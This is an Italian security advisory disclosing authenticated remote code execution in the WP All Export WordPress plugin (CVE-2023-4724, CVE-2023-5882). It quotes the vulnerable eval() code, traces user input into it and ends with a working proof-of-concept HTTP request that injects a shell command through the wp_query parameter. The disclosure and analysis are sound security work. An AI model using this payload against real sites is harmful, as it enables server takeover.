WP ALL Export (Free < 1.4.1, Pro < 1.8.6) - Multiple Authenticated Remote Code Execution
Autore
Francesco Marano, Donato Di Pasquale
Prodotto affetto
WP ALL Export < 1.4.1 (WordPress plugin), WP ALL Export Pro < 1.8.6 (WordPress plugin)
Riferimenti
Descrizione del prodotto
WP All Export è un plugin per WordPress che permette di esportare qualsiasi dato in WordPress, compresi temi e plugin, in CSV, XML o altri formati con una comoda interfaccia drag & drop.
Dettagli della vulnerabilità
Non è un mistero ormai che in Unlock Security siamo grandi fan di SemGrep per fare code review. Lo utilizziamo spesso per scrivere regole precise per scovare in automatico pattern complessi nel codice, seguendo il flusso dei dati dall'input utente fino a utilizzi potenzialmente non sicuri.
Per fare dei test siamo soliti utilizzare i plugin di WordPress perché sono tanti (90.000+) e perché sono scritti da tutti i tipi di programmatori possibili: singole persone alle prime armi, professionisti, aziende, … ognuno con il proprio modo di scrivere codice. Scrivere una buona regola per SemGrep che non dia né troppi falsi positivi né troppi falsi negativi in questo scenario è una vera impresa, ma può portare a risultati molto soddisfacenti.
Durante i test per la regola che trova vulnerabilità di tipo code injection abbiamo subito un match:
┌─────────────────┐
│ 3 Code Findings │
└─────────────────┘
./wp-content/plugins/wp-all-export/actions/wp_ajax_wpae_preview.php
php.wordpress-plugins.security.wp-sec-code-injection
Detected user input used as code or callback to execute. This is usually bad practice
because it could accidentally result in Remote Command Execution (RCE). An attacker could
use it to takeover the entire website.
125┆ $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));');
⋮┆----------------------------------------
128┆ $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));');
⋮┆----------------------------------------
135┆ $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));');
Guardando questi tre snippet è chiaro che se abbiamo un modo di raggiungere una qualunque tra le righe di codice segnalate e abbiamo il controllo del valore di $exportOptions['wp_query']
, allora possiamo eseguire codice PHP arbitrario. Di seguito un estratto semplificato del codice vulnerabile:
actions/wp_ajax_wpae_preview.php<?php /** * AJAX action for preview export row */ function pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } // … $values = array(); parse_str($_POST['data'], $values); if(is_array($values['cc_options'])) { // … } // … $exportOptions = $values + (PMXE_Plugin::$session->has_session() ? PMXE_Plugin::$session->get_clear_session_data() : array()) + PMXE_Plugin::get_default_import_options(); // … if ( 'advanced' == $exportOptions['export_type'] ) { if ( XmlExportEngine::$is_user_export ) { $exportQuery = eval('return new WP_User_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));'); } elseif ( XmlExportEngine::$is_comment_export ) { $exportQuery = eval('return new WP_Comment_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'number\' => 10));'); } else { // … $exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));'); } } // …
Il flusso di dati dall'input utente (source) alla funzione vulnerabile (sink) può essere riassunto in questo modo:
/* $_POST['data'] string is parsed as an array into $values */
parse_str($_POST['data'], $values);
/* $values is added into $exportOptions */
$exportOptions = $values + // …
/* $exportOptions['export_type'] must be 'advanced' to reach the vulnerable code */
if ( 'advanced' == $exportOptions['export_type'] )
{
/* We don't care of all the if clause since we have the same code in all of them and in the else clause too */
$exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));');
Il codice vulnerabile si trova all'interno della funzione pmxe_wp_ajax_wpae_preview
nella cartella actions/
. Cercando in tutto il codice del plugin l'invocazione di questa funzione non si hanno riscontri. Dopo un'analisi più approfondita è possibile vedere che questa funzione viene registrata come una action AJAX di WordPress basandosi sul nome del file PHP che la contiene; e questo processo viene ripetuto per tutti i file PHP nella stessa cartella:
wp-all-export.php// register action handlers if (is_dir(self::ROOT_DIR . '/actions')) if (is_dir(self::ROOT_DIR . '/actions')) foreach (PMXE_Helper::safe_glob(self::ROOT_DIR . '/actions/*.php', PMXE_Helper::GLOB_RECURSE | PMXE_Helper::GLOB_PATH) as $filePath) { require_once $filePath; $function = $actionName = basename($filePath, '.php'); if (preg_match('%^(.+?)[_-](\d+)$%', $actionName, $m)) { $actionName = $m[1]; $priority = intval($m[2]); } else { $priority = 10; } add_action($actionName, self::PREFIX . str_replace('-', '_', $function), $priority, 99); // since we don't know at this point how many parameters each plugin expects, we make sure they will be provided with all of them (it's unlikely any developer will specify more than 99 parameters in a function) }
Questo significa che nel nostro caso verrà registrata una action AJAX autenticata (prefisso wp_ajax_
) chiamata wpae_preview
che invocherà la funzione vulnerabile pmxe_wp_ajax_wpae_preview
.
Sappiamo già che dobbiamo essere autenticati per utilizzare questa action AJAX, ma qual è il ruolo minimo che il nostro utente deve avere? Ci sono altri prerequisiti? La risposta a queste domande viene dalle prime righe della funzione vulnerabile:
actions/wp_ajax_wpae_preview.phpfunction pmxe_wp_ajax_wpae_preview(){ if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); } if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); }
Abbiamo innanzitutto bisogno che il nostro utente abbia la capability specificata in PMXE_Plugin::$capabilities
che corrisponde a manage_options
. Questa capability indica la possibilità per un utente di accedere e gestire le impostazioni di WordPress, quindi solamente l'utente amministratore la possiede.
In secondo luogo abbiamo bisogno di un token CSRF valido da passare con il parametro security
e questo si può facilmente cercare nel codice HTML della pagina principale del plugin utilizzando proprio la parola chiave security
:
Una volta ottenuto un token CSRF valido e sapendo che la funzione vulnerabile è associata a una Action AJAX possiamo facilmente costruire il nostro payload. Vediamo i punti salienti del codice della funzione pmxe_wp_ajax_wpae_preview
:
- Essendo una Action AJAX l'endpoint da interrogare è
/wp-admin/wp-ajax.php
e deve essere specificata la action da invocare tramite il parametro GET o POSTaction
, in questo casowpae_preview
. - Il token CSRF deve essere passato tramite il parametro GET o POST
security
:if ( ! check_ajax_referer( 'wp_all_export_secure', 'security', false )){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); }
- Devono essere presenti i cookie di sessione di un utente privilegiato:
if ( ! current_user_can( PMXE_Plugin::$capabilities ) ){ exit( json_encode(array('html' => __('Security check', 'wp_all_export_plugin'))) ); }
- La restante parte dei dati deve essere passata come stringa in un unico parametro
data
:
Questo in particolare significa che se dobbiamo passare due parametri$values = array(); parse_str($_POST['data'], $values);
a=1
eb=unlock
dovremo inviarli comea=1&b=unlock
ricordandoci di fare un URL-encoding dei caratteri speciali per evitare di rompere la sintassi del parametro POSTdata
, quindi in questo caso avremodata=a=1%26b=unlock
- Un parametro
cc_options
come parte del parametrodata
con qualunque valore che non sia un array per non avere un errore durante l'accesso a un parametro non esistente, e allo stesso tempo che sia tale da non rendere la condizione vera dell'if
(meno codice si esegue prima di arrivare a quello vulnerabile e meglio è):if(is_array($values['cc_options']))
- Un parametro
export_type=advanced
come parte del parametrodata
:if ( 'advanced' == $exportOptions['export_type'] )
- Un parametro
wp_query
come parte del parametrodata
che abbia come valore il codice che vogliamo eseguire:$exportQuery = eval('return new WP_Query(array(' . $exportOptions['wp_query'] . ', \'offset\' => 0, \'posts_per_page\' => 10));');
L'obiettivo è quindi evitare completamente la costruzione dell'array, dell'oggetto, della query SQL, ecc e fare in modo che ci venga restituito direttamente l'output del comando che vogliamo eseguire. Nel fare questo dobbiamo anche tenere conto che l'uso di aprici singoli o doppi manda in errore il codice vulnerabile, quindi non possiamo utilizzarli.
Si può ottenere un ottimo risultato utilizzando
exit(`<comando-da-eseguire>`)
. In questo modo viene eseguito il comando specificato e terminata immediatamente l'esecuzione dello script PHP utilizzando l'output del comando risposta alla richiesta HTTP.Proof of Concept
La richiesta HTTP da utilizzare per sfruttare la vulnerabilità è quindi la seguente:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.example.com
User-Agent: whatever
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Cookie: <YOUR-ADMIN-COOKIES-HERE>
action=wpae_preview&security=<CSRF-TOKEN-HERE>&data=cc_options=%26export_type=advanced%26wp_query=exit(`id`)
Disclosure timeline
18/08/2023
Vulnerabilità segnalata a WPScan
01/09/2023
Assegnata CVE-2023-4724
31/10/2023
Assegnata CVE-2023-5882
13/11/2023
Rilasciata fix ufficiale
21/11/2023
Advisory pubblicato da WPScan
07/12/2023
Pubblicata Proof of Concept (PoC)